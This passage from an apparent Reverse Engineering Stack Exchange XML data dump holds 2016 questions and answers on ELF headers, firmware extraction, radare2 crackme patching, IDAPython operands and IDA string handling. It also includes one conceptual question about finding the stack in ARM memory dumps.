headers:          5884 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         7&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         29&#xA;  Section header string table index: 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can then play games such as changing the file to a EXEC type instead of a DYN type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elfedit --output-type=EXEC test.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if we rerun &lt;code&gt;readelf&lt;/code&gt;, everything is the same except for that tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x3f0&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          5884 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         7&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         29&#xA;  Section header string table index: 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although the type has changed, it will still function as a shared library.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2016-12-20T18:00:02.093" LastActivityDate="2016-12-20T18:00:02.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14205" PostTypeId="2" ParentId="14202" CreationDate="2016-12-20T18:09:16.630" Score="2" Body="&lt;p&gt;Dynamic relocations are relocations applied by the dynamic linker (usually &lt;code&gt;ld.so&lt;/code&gt; or equivalent), as opposed to the link editor (e.g. &lt;code&gt;ld&lt;/code&gt;) for the object files' relocations. They are pointed to by the &lt;a href=&quot;https://docs.oracle.com/cd/E19683-01/817-3677/chapter6-42444/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;dynamic section &lt;/a&gt; entries such as &lt;code&gt;DT_REL&lt;/code&gt;, &lt;code&gt;DT_RELA&lt;/code&gt; and &lt;code&gt;DT_JMPREL&lt;/code&gt;. The dynamic linker often supports only a limited set of relocations.&#xA;Not only shared objects but also dynamic (non-static) executables may have dynamic relocations. Unstripped binaries may also have remaining non-dynamic relocations but those are not used by the dynamic linker.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-20T18:09:16.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14206" PostTypeId="1" AcceptedAnswerId="14211" CreationDate="2016-12-20T22:11:29.483" Score="0" ViewCount="3267" Body="&lt;p&gt;I'm looking for help in analyzing a few .bin files. I have a program that installs a &quot;firmware&quot; update when I connect my camera through USB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a Mac Os Sierra. Inside the Applications Folder under this Camera App/../../ I find a folder called Resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual files can be downloaded here: &lt;a href=&quot;https://i.stack.imgur.com/46jLg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;.bin&lt;/a&gt; (if you're interested)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a binwalk -e to extract the data from each .bin and the did a FILE command to understand a little more of what each individual is. Here are my results below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6tq5j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6tq5j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highlighted files I thought were interesting or/and were linked or related. (Again I'm not too sure what the crap I'm doing) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to get some feedback on someone who better understands all of this. I'm trying to find the &quot;firmware&quot; and possibly decompile it and add a few things then put it all back together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;John Doe,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again thanks. Here are some images of what I was able to get working on my PC laptop using CHIPSCOPE. Chipscope came with Xilinx WebPack, like I said above in my comment. I was able to connect to my Xilinx via JTAG ports but not much past that. I'll have to research further into how to utilize the microblazer tool chains... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/46jLg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/46jLg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So should I bring over the .ELF files from my Mac and open them up with my SDK Tools? Or better question, where can I learn more about this process so I stop asking stupid questions? I'm not too familiar with how to use the Xilinxs SDK Tools and how to configure the FPGA with these microblazers .ELF files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HoUA3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HoUA3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="18041" LastEditorUserId="60" LastEditDate="2016-12-22T20:08:16.933" LastActivityDate="2018-10-31T17:32:43.100" Title=".bin files Firmware" Tags="|binary-analysis|firmware|binary|binary-diagnosis|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14207" PostTypeId="1" CreationDate="2016-12-20T22:45:13.567" Score="-1" ViewCount="2345" Body="&lt;p&gt;What means sym prefix in disassembly? For examle, &lt;code&gt;sym.main&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13230" LastActivityDate="2019-01-04T08:14:15.917" Title="What means sym prefix before functions name in radare2" Tags="|radare2|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14209" PostTypeId="1" CreationDate="2016-12-20T23:56:50.053" Score="9" ViewCount="26805" Body="&lt;p&gt;So I am on a Linux box with an executable.Vague - I know. This is what happens when I try and run it with an argument/parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me@there:~$ ./theFile theOption -a&#xA;./theFile : option requires an argument -- 'a'&#xA;usage: theOption [parameters]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My colleague said &lt;code&gt;just use objdump to reverse theFile first part of the main function&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether it's possible to find what parameters can be passed to the program. I have the name of some functions like &lt;code&gt;do_this&lt;/code&gt; and &lt;code&gt;do_that&lt;/code&gt;, but insure how to pass these to the executable.&lt;/p&gt;&#xA;" OwnerUserId="18515" LastEditorUserId="3371" LastEditDate="2018-09-28T12:51:10.700" LastActivityDate="2018-09-28T12:51:10.700" Title="How to reverse engineer a Linux executable to find the parameters?" Tags="|linux|objdump|" AnswerCount="2" CommentCount="1" ClosedDate="2017-01-22T15:32:41.490" ContentLicense="CC BY-SA 4.0" />
  <row Id="14210" PostTypeId="1" AcceptedAnswerId="14212" CreationDate="2016-12-21T07:20:12.660" Score="-2" ViewCount="11444" Body="&lt;p&gt;I'm interested in learning. Where can I find CrackMes for beginners? Especially ones with answers.&lt;/p&gt;&#xA;" OwnerUserId="18518" LastActivityDate="2016-12-21T07:40:20.000" Title="Where can I find CrackMes for beginners?" Tags="|crackme|" AnswerCount="1" CommentCount="4" ClosedDate="2016-12-21T11:07:37.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="14211" PostTypeId="2" ParentId="14206" CreationDate="2016-12-21T07:21:28.663" Score="2" Body="&lt;p&gt;Your camera has a Xilinx FPGA inside. FPGA design likely includes Microblaze soft CPU core. Files extracted by binwalk appear to be valid ELF files, so you'll just need to download Microblaze toolchain. The easiest way to do so is to download Vivado WebPack (it's free) and install it — you'll find a toolchain in the Xilinx SDK folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ microblazeel-xilinx-linux-gnu-readelf.exe -S 218CC2&#xA;There are 20 section headers, starting at offset 0x111554:&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] .vectors.sw_excep PROGBITS        00000008 0000b4 000008 00  AX  0   0  4&#xA;  [ 2] .vectors.interrup PROGBITS        00000010 0000bc 000008 00  AX  0   0  4&#xA;  [ 3] .vectors.hw_excep PROGBITS        00000020 0000c4 000008 00  AX  0   0  4&#xA;  [ 4] .text             PROGBITS        c20ca400 0000cc 0b7cd0 00 WAX  0   0 16&#xA;  [ 5] .init             PROGBITS        c21820d0 0b7d9c 000038 00  AX  0   0  4&#xA;  [ 6] .fini             PROGBITS        c2182108 0b7dd4 000020 00  AX  0   0  4&#xA;  [ 7] .rodata           PROGBITS        c2184000 0b7df4 012ca7 00  Ao  0 128684 8192&#xA;  [ 8] .sdata2           NOBITS          c21a36ac 0d76ac 000004 00  WA  0   0  1&#xA;  [ 9] .data             PROGBITS        c21a36b0 0caa9b 0461be 00 WAo  0 869620  4&#xA;  [10] .ctors            PROGBITS        c2277ba4 110c59 000004 00 WAo  0   8  4&#xA;  [11] .dtors            PROGBITS        c2277bac 110c5d 000004 00 WAo  0   8  4&#xA;  [12] .eh_frame         PROGBITS        c2277bb4 110c61 0007b5 00 WAo  0 2048  4&#xA;  [13] .jcr              PROGBITS        c22783b4 111416 000002 00 WAo  0   4  4&#xA;  [14] .gcc_except_table PROGBITS        c22783b8 111418 000080 00 WAo  0 140  4&#xA;  [15] .sdata            NOBITS          c2278444 1ac440 000004 00  WA  0   0  1&#xA;  [16] .bss              NOBITS          c2278448 1ac440 002244 00  WA  0   0  4&#xA;  [17] .stack            NOBITS          c227a690 1ac440 000c00 00  WA  0   0  1&#xA;  [18] .heap             NOBITS          c227b290 1ac440 1dd84d70 00  WA  0   0  1&#xA;  [19] .shstrtab         STRTAB          00000000 111498 0000ba 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2016-12-21T07:21:28.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14212" PostTypeId="2" ParentId="14210" CreationDate="2016-12-21T07:40:20.000" Score="1" Body="&lt;p&gt;Try these two links, they are full of resources : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://johannesbader.ch/projects/solutions-to-crackmes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://johannesbader.ch/projects/solutions-to-crackmes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tuts4you.com/download.php?list.61&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tuts4you.com/download.php?list.61&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2016-12-21T07:40:20.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14214" PostTypeId="1" AcceptedAnswerId="14216" CreationDate="2016-12-21T14:13:07.043" Score="2" ViewCount="875" Body="&lt;p&gt;For PowerPCs how do you find out the TOC address or the SDA address? &#xA;Like for example in this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13923/how-to-dissassemble-motorola-freescale-nxp-powerquicc-excutable&quot;&gt;case&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4602" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-12-21T15:08:15.500" Title="PowerPC reversing finding the SDA and the TOC" Tags="|ida|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14215" PostTypeId="1" AcceptedAnswerId="14221" CreationDate="2016-12-21T14:33:52.460" Score="1" ViewCount="4823" Body="&lt;p&gt;Im a newbe in radare and while I tried to patch a crackme binary, I opened it the first time in debug mode (-d), while debugging I used oo+ to reopen it with write mode, when I modify an instruction using wx, it works but when I quit it gives me two confirmation messages with yes no I press enter two times, then it get back to the original stat, and loose the modification, &#xA;How could I keep changes even after quitting ???&lt;/p&gt;&#xA;" OwnerUserId="18522" LastEditorUserId="16079" LastEditDate="2016-12-22T04:52:39.470" LastActivityDate="2016-12-23T12:15:16.573" Title="Binary patching using radare2 in debug mode" Tags="|radare2|patching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14216" PostTypeId="2" ParentId="14214" CreationDate="2016-12-21T15:08:15.500" Score="3" Body="&lt;p&gt;&lt;code&gt;SDA&lt;/code&gt; is &lt;code&gt;r13&lt;/code&gt;, and it changes very rarely. So finding any assignment to r13 will solve the problem for SDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically for the referred example it was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lis       r13, 1        # Load Immediate Shifted&#xA;addi      r13, r13, -0x2BF0 # 0xD410 # Add Immediate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-12-21T15:08:15.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14218" PostTypeId="1" AcceptedAnswerId="14300" CreationDate="2016-12-21T17:33:29.750" Score="6" ViewCount="2966" Body="&lt;p&gt;Consider the following instruction:&#xA;&lt;code&gt;&#xA;8D 8C 4E B0 2F FF FF  LEA    ECX, [ESI+ECX*2-0xD050]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using IDAPython, how can I extract the structure of the second operand? I'd like to know things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ESI&lt;/code&gt; is the base register&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ECX&lt;/code&gt; is the index register&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;2&lt;/code&gt; is the index constant&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-0xD050&lt;/code&gt; is the displacement constant&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Its ok if I have to make a bunch of IDAPython API calls together. So far, I've had to resort to string parsing, and I'd really like to get rid of this.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The most relevant API function I've found is &lt;code&gt;idautils.DecodeInstruction()&lt;/code&gt;, yet it doesn't seem to completely cover the structure of the second operand. See below for my exploration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i = idautils.DecodeInstruction(&amp;lt;ea from above&amp;gt;)&#xA;&#xA;# operand type&#xA;assert i.Op2.type == idc.o_disp&#xA;&#xA;# operand value type&#xA;assert i.Op2.dtyp == idc.dt_dword&#xA;&#xA;# operand flags&#xA;assert i.Op2.flags == idc.OF_SHOW&#xA;&#xA;# structure of o_displ operand is like:&#xA;#&#xA;#    Memory Reg [Base Reg + Index Reg + Displacement].&#xA;&#xA;def get_reg_const(reg):&#xA;    '''&#xA;    fetch register number from string name.&#xA;    '''&#xA;    ri = idaapi.reg_info_t()&#xA;    idaapi.parse_reg_name(reg, ri)&#xA;    return ri.reg&#xA;&#xA;# we probably expect to find these constants in the operand structure&#xA;assert get_reg_const('ecx') == 1&#xA;assert get_reg_const('esi') == 6&#xA;&#xA;# the operand structure&#xA;assert unsigned2signed(i.Op2.addr)  ==  0xD050  # displacement&#xA;assert i.Op2.n          == 1   # operand number&#xA;assert i.Op2.phrase     == 4   # &quot;number of register phrase&quot;, don't know what this means&#xA;assert i.Op2.reg        == 4   # &quot;number of register&quot;, don't see how this applies&#xA;assert i.Op2.specflag1  == 1   # unknown interpretation, could be &quot;ecx&quot;!?!&#xA;assert i.Op2.specflag2  == 78  # 0x4E, unknown interpretation&#xA;assert i.Op2.specflag3  == 0   # probably empty&#xA;assert i.Op2.specflag4  == 0   # probably empty&#xA;assert i.Op2.specval    == 0x200000  # unknown interpretation&#xA;assert i.Op2.value      == 0   # &quot;outer displacement&quot; (none here)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17194" LastEditorUserId="17194" LastEditDate="2016-12-21T18:41:07.900" LastActivityDate="2016-12-31T21:08:53.923" Title="How can I extract the structure of an operand with displacement in IDAPython?" Tags="|ida|x86|idapython|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14220" PostTypeId="2" ParentId="14209" CreationDate="2016-12-21T19:36:34.947" Score="1" Body="&lt;p&gt;As I don't know much about your executable, I would first run &lt;a href=&quot;https://linux.die.net/man/1/strings&quot; rel=&quot;nofollow noreferrer&quot;&gt;strings&lt;/a&gt; with your program to see if anything comes up: this work if the binary &lt;em&gt;has&lt;/em&gt; a description.&lt;br&gt;&#xA;(I'm stuck on a Windows now, but strings seem to work in the same exact way it does on Linux)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ ~ }  » strings.exe /bin/ls.exe  &#xA;...&#xA;Usage: %s [OPTION]... [FILE]...&#xA;List information about the FILEs (the current directory by default).&#xA;Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.&#xA;Mandatory arguments to long options are mandatory for short options too.&#xA;  -a, --all                  do not ignore entries starting with .&#xA;  -A, --almost-all           do not list implied . and ..&#xA;      --author               with -l, print the author of each file&#xA;  -b, --escape               print C-style escapes for nongraphic characters&#xA;      --block-size=SIZE      scale sizes by SIZE before printing them; e.g.,&#xA;                               '--block-size=M' prints sizes in units of&#xA;                               1,048,576 bytes; see SIZE format below&#xA;  -B, --ignore-backups       do not list implied entries ending with ~&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case those strings are part of the binary and are used when parameters are not valid or missing.&#xA;If that fails, can't you just run it with some random values and run &lt;a href=&quot;https://linux.die.net/man/1/ltrace&quot; rel=&quot;nofollow noreferrer&quot;&gt;ltrace&lt;/a&gt; (or &lt;a href=&quot;https://linux.die.net/man/1/strace&quot; rel=&quot;nofollow noreferrer&quot;&gt;strace&lt;/a&gt; if you want to take a closer look) and guess what the possible parameters are ?&lt;/p&gt;&#xA;" OwnerUserId="16079" LastActivityDate="2016-12-21T19:36:34.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14221" PostTypeId="2" ParentId="14215" CreationDate="2016-12-21T20:26:26.277" Score="0" Body="&lt;p&gt;I just tried opening a binary file and patching and it actually saves my patches. The steps I followed are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[99:99:99] &amp;lt;myuser&amp;gt;:answer $ cp crackme0x00 crackme0x00_patched&#xA;[99:99:99] &amp;lt;myuser&amp;gt;:answer $ radare2 -Aw crackme0x00_patched&#xA;[0x08048360]&amp;gt; pdf@sym.main &#xA;[0x08048360]&amp;gt; 0x08048487&#xA;[0x08048487]&amp;gt; wa ret&#xA;Written 1 bytes (ret) = wx c3&#xA;[0x08048487]&amp;gt; q&#xA;[99:99:99] &amp;lt;myuser&amp;gt;:answer $ cmp -l crackme0x00 crackme0x00_patched | gawk '{printf &quot;%08X %02X %02X\n&quot;, $1, strtonum(0$2), strtonum(0$3)}' &#xA;00000488 E8 C3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I stole the compare script from &lt;a href=&quot;https://superuser.com/questions/125376/how-do-i-compare-binary-files-in-linux&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, in my case the binary remains patched even after quitting (&lt;code&gt;C3&lt;/code&gt; is the opcode for the &lt;code&gt;ret&lt;/code&gt; instruction. Instead of reopening the file with &lt;code&gt;oo+&lt;/code&gt; as you did, I opened it in write mode with &lt;code&gt;w&lt;/code&gt; and &lt;code&gt;A&lt;/code&gt; (equivalent of &lt;code&gt;aaa&lt;/code&gt;). I just tried myself and I &lt;strong&gt;&lt;em&gt;couldn't&lt;/em&gt;&lt;/strong&gt; patch binaries and save them (if anyone can give a more accurate explaination is welcome).&lt;/p&gt;&#xA;" OwnerUserId="16079" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.293" LastActivityDate="2016-12-21T20:26:26.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14223" PostTypeId="1" AcceptedAnswerId="14225" CreationDate="2016-12-22T12:31:33.810" Score="2" ViewCount="10179" Body="&lt;p&gt;I know we can edit opcodes in radare2's visual mode using &lt;code&gt;i&lt;/code&gt;.&lt;br&gt;&#xA;But is there any way to edit instructions directly in visual mode?&lt;/p&gt;&#xA;&lt;p&gt;In my case, the instruction is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jae 0x8048450&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I want change it to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jnbe 0x8048450&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10195" LastEditorUserId="22780" LastEditDate="2021-10-29T07:32:38.137" LastActivityDate="2021-10-29T07:32:38.137" Title="edit instructions directly in visual mode" Tags="|radare2|patching|reassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14225" PostTypeId="2" ParentId="14223" CreationDate="2016-12-22T18:40:52.337" Score="3" Body="&lt;p&gt;This is called &lt;em&gt;assembling&lt;/em&gt; - the reverse of &quot;disassembling&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so with the command &lt;code&gt;wa&lt;/code&gt; (presumably, &quot;write assembly&quot;). It can be found in the &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/intro.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2 cheat sheet&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wa jnz 0x400d24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2016-12-22T18:40:52.337" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14229" PostTypeId="2" ParentId="14223" CreationDate="2016-12-23T12:02:19.060" Score="1" Body="&lt;p&gt;In visual mode, you can use the &lt;code&gt;A&lt;/code&gt; command, to launch the interactive assembler, type your opcodes, and see in real time the corresponding hex code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have found this command by typing &lt;code&gt;?&lt;/code&gt;, to get help, in visual mode.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-12-23T12:02:19.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14230" PostTypeId="2" ParentId="14215" CreationDate="2016-12-23T12:15:16.573" Score="6" Body="&lt;p&gt;This is normal and expected behaviour. when you are in the debugger what you are modifying is the process memory, not the disk file.&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2016-12-23T12:15:16.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14231" PostTypeId="2" ParentId="14207" CreationDate="2016-12-23T13:09:42.367" Score="2" Body="&lt;p&gt;As pointed out by users in comments &lt;code&gt;sym&lt;/code&gt; stands for &lt;code&gt;symbol&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Debug_symbol&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A debug symbol is information that expresses which&#xA;  programming-language constructs generated a specific piece of machine&#xA;  code in a given executable module. Sometimes the symbolic information&#xA;  is compiled together with the module's binary file, or distributed in&#xA;  a separate file, or simply discarded during the compilation and/or&#xA;  linking. This information enables a person using a symbolic debugger&#xA;  to gain additional information about the binary, such as the names of&#xA;  variables and &lt;strong&gt;&lt;em&gt;routines&lt;/em&gt;&lt;/strong&gt; from the original source code. This information&#xA;  can be extremely helpful while trying to investigate and fix a&#xA;  crashing application or any other fault.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As previously stated, a &lt;em&gt;symbol&lt;/em&gt; may be used to referer to a specific address in the binary (i.e. &lt;code&gt;sym.main&lt;/code&gt; =&gt; &lt;code&gt;main function&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="16079" LastActivityDate="2016-12-23T13:09:42.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14232" PostTypeId="1" AcceptedAnswerId="14233" CreationDate="2016-12-23T14:02:22.587" Score="0" ViewCount="1444" Body="&lt;p&gt;As part of exercise in RE I noticed that some string is not appear correctly in the code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2210l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2210l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the orange colour the string doesn't appear correctly.&lt;br&gt;&#xA;In the red it appear correctly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want that the code in the orange will be like the one in the red.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see that in address &lt;code&gt;0x10751&lt;/code&gt; we have:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push offset word_107DE ; SourceString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the address of &lt;code&gt;word_107DE (0x107DE)&lt;/code&gt; the string appears as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;word_107DE dw '\'&#xA;aDosedevicesPr_0:&#xA;    unicode 0, &amp;lt;DosDevices\ProceHelper&amp;gt;, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;0x107DE&lt;/code&gt; we have an extra row:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;word_107DE dw '\'  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I fix it and merge this row to be like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aDosedevicesPr_0:&#xA;    unicode 0, &amp;lt;\DosDevices\ProceHelper&amp;gt;, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after this I hope to see the name of the string in the code.  &lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2016-12-23T14:11:57.347" Title="How to fix string structures in IDA" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14233" PostTypeId="2" ParentId="14232" CreationDate="2016-12-23T14:11:57.347" Score="2" Body="&lt;p&gt;Move the cursor to &lt;code&gt;word_107DE&lt;/code&gt;, press &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; (or Options/Ascii String style from the menu), and click the Unicode button.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-12-23T14:11:57.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14234" PostTypeId="1" AcceptedAnswerId="14254" CreationDate="2016-12-23T15:16:17.090" Score="4" ViewCount="1247" Body="&lt;p&gt;I'm reversing a closed platform to try gain execution using an exploit, a stack overflow. I've been told that (since there are no debuggers) the best way is to use RAM dumps (that I have) to try understand how long the buffer is, where the  Link Register after the buffer is, how the calling convention works... so I can create a exploit successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info about the platform.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ARM Architecture (ARM9 and ARM11 processors)&lt;/li&gt;&#xA;&lt;li&gt;NX bit but no ASLR (That's why I need to know also which memory pages are executable to get ROP gadgets)&lt;/li&gt;&#xA;&lt;li&gt;I have no debuggers. Only RAM Dumps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to know how can I identify the stack in memory (although there may be more than one) and how to identify also memory pages, and know which ones are executable.&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2016-12-27T18:51:06.443" LastActivityDate="2016-12-27T18:51:06.443" Title="How to find the stack and other info in a memory dump? ARM" Tags="|arm|exploit|buffer-overflow|stack|calling-conventions|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
